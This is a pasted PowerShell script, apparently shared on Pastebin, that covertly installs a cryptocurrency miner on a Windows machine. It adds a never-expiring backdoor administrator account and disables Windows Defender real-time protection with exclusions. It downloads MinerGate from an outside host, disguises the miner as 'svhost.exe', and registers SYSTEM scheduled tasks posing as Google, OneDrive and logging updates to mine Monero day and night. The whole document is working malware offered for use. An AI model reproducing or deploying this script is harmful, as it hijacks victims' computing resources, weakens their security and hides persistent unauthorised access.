Guest User

Untitled

a guest
Dec 21st, 2017
1,620
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. $Username = "localadmin"
  2. $Password = "password"
  3. $group = "Administrators"
  4. $Arc = if ([System.IntPtr]::Size -eq 4) { "32-Bit" } else { "64-Bit" }
  5. $url = "https://download.minergate.com/win-cli"
  6. $output = "C:\ProgramData\Java\Download.zip"
  7. $destination = "C:\ProgramData\Java"
  8. $start_time = Get-Date
  9. $NightAction = New-ScheduledTaskAction -Execute 'C:\ProgramData\Java\Database\Kill.bat'
  10. $NightTrigger = New-ScheduledTaskTrigger -Daily -At 6:30pm
  11. $NightMineAction = New-ScheduledTaskAction -Execute 'C:\ProgramData\Java\Database\night.vbs'
  12. $NightMineTrigger = New-ScheduledTaskTrigger -Daily -At 7pm
  13. $DayAction = New-ScheduledTaskAction -Execute 'C:\ProgramData\Java\Database\Kill.bat'
  14. $DayTrigger = New-ScheduledTaskTrigger -Daily -At 6:30am
  15. $DayMineAction = New-ScheduledTaskAction -Execute 'C:\ProgramData\Java\Database\day.vbs'
  16. $DayMineTrigger = New-ScheduledTaskTrigger -Daily -At 7am
  17. $CPUQuery = ((get-counter "\Processor(*)\% idle time").countersamples | select instancename).length -1
  18. $CPU = $CPUQuery / 2
  19. $CPUFull = $CPUQuery / 1
  20. $principal = New-ScheduledTaskPrincipal -UserID "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount -RunLevel Highest
  21. $settings = New-ScheduledTaskSettingsSet -MultipleInstances Parallel
  22. $adsi = [ADSI]"WinNT://$env:COMPUTERNAME"
  23. $existing = $adsi.Children | where {$_.SchemaClassName -eq 'user' -and $_.Name -eq $Username }
  24.  
  25. if ($existing -eq $null) {
  26. NET USER $Username $Password /add /y /expires:never
  27. NET LOCALGROUP $group $Username /add
  28. }
  29. else {
  30. $existing.SetPassword($Password)
  31. }
  32. WMIC USERACCOUNT WHERE "Name='$Username'" SET PasswordExpires=FALSE
  33.  
  34. If ($Arc -eq "64-Bit") {
  35.  
  36. New-Item -Path "C:\ProgramData\Java\" -ItemType directory
  37.  
  38. Set-MpPreference -DisableRealtimeMonitoring $true
  39. Set-MpPreference -ExclusionPath "C:\ProgramData\Java\", "C:\ProgramData\Java\Database"
  40. Set-MpPreference -ExclusionProcess "svhost.exe"
  41.  
  42. Invoke-WebRequest -Uri $url -OutFile $output
  43. Expand-Archive -path $output -destinationpath $destination
  44. Rename-Item C:\ProgramData\Java\MinerGate-cli-4.04-win64\Minergate-cli.exe svhost.exe
  45. Rename-Item C:\ProgramData\Java\MinerGate-cli-4.04-win64 C:\ProgramData\Java\Database
  46.  
  47. cd C:\ProgramData\Java\Database
  48. "Taskkill /IM svhost.exe /F" | Out-File -encoding ascii jshalf.bat -append
  49. "cd C:\ProgramData\Java\Database" | Out-File -encoding ascii jshalf.bat -append
  50. "timeout /t 60" | Out-File -encoding ascii jshalf.bat -append
  51. "svhost -user [email protected] -fcn+xmr $CPU" | Out-File -encoding ascii jshalf.bat -append
  52.  
  53. cd C:\ProgramData\Java\Database
  54. "Taskkill /IM svhost.exe /F" | Out-File -encoding ascii jsfull.bat -append
  55. "cd C:\ProgramData\Java\Database" | Out-File -encoding ascii jsfull.bat -append
  56. "timeout /t 60" | Out-File -encoding ascii jsfull.bat -append
  57. "svhost -user [email protected] -fcn+xmr $CPUFull" | Out-File -encoding ascii jsfull.bat -append
  58.  
  59. "Taskkill /IM svhost.exe /F" | Out-File -encoding ascii Kill.bat
  60.  
  61. "Dim WShell" | Out-File -encoding ascii day.vbs
  62. {Set WShell = CreateObject("WScript.Shell")} | Out-File -encoding ascii day.vbs -append
  63. {WShell.Run "C:\ProgramData\Java\Database\jshalf.bat", 0} | Out-File -encoding ascii day.vbs -append
  64. "Set WShell = Nothing" | Out-File -encoding ascii day.vbs -append
  65.  
  66. "Dim WShell" | Out-File -encoding ascii night.vbs
  67. {Set WShell = CreateObject("WScript.Shell")} | Out-File -encoding ascii night.vbs -append
  68. {WShell.Run "C:\ProgramData\Java\Database\jsfull.bat", 0} | Out-File -encoding ascii night.vbs -append
  69. "Set WShell = Nothing" | Out-File -encoding ascii night.vbs -append
  70.  
  71. Remove-Item $output
  72.  
  73. Register-ScheduledTask -Action $NightAction -Trigger $NightTrigger -TaskName "AppLog Dump" -Settings $settings -Principal $principal -Description "Daily dump of Applog"
  74. Register-ScheduledTask -Action $NightMineAction -Trigger $NightMineTrigger -TaskName "User_Feed_Synchronization-{765A0ABB-A404-4315-A54F-C2418F661999}" -Description "Updates out-of-date system feeds." -Settings $settings -Principal $principal
  75. Register-ScheduledTask -Action $DayAction -Trigger $DayTrigger -TaskName "OneDrive Standalone Update Task v4" -Description "OneDrive Standalone Update Task" -Settings $settings -Principal $principal
  76. Register-ScheduledTask -Action $DayMineAction -Trigger $DayMineTrigger -TaskName "GoogleUpdateTaskMachineMI" -Description "Keeps your Google software up to date. If this task is disabled or stopped, your Google software will not be kept up to date, meaning security vulnerabilities that may arise cannot be fixed and features may not work. This task uninstalls itself when there is no Google software using it." -Settings $settings -Principal $principal
  77.  
  78. #Copy-Item "C:\ProgramData\Java\Database\day.vbs" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
  79.  
  80. .\Day.vbs
  81. }
Add Comment
Please, Sign In to add comment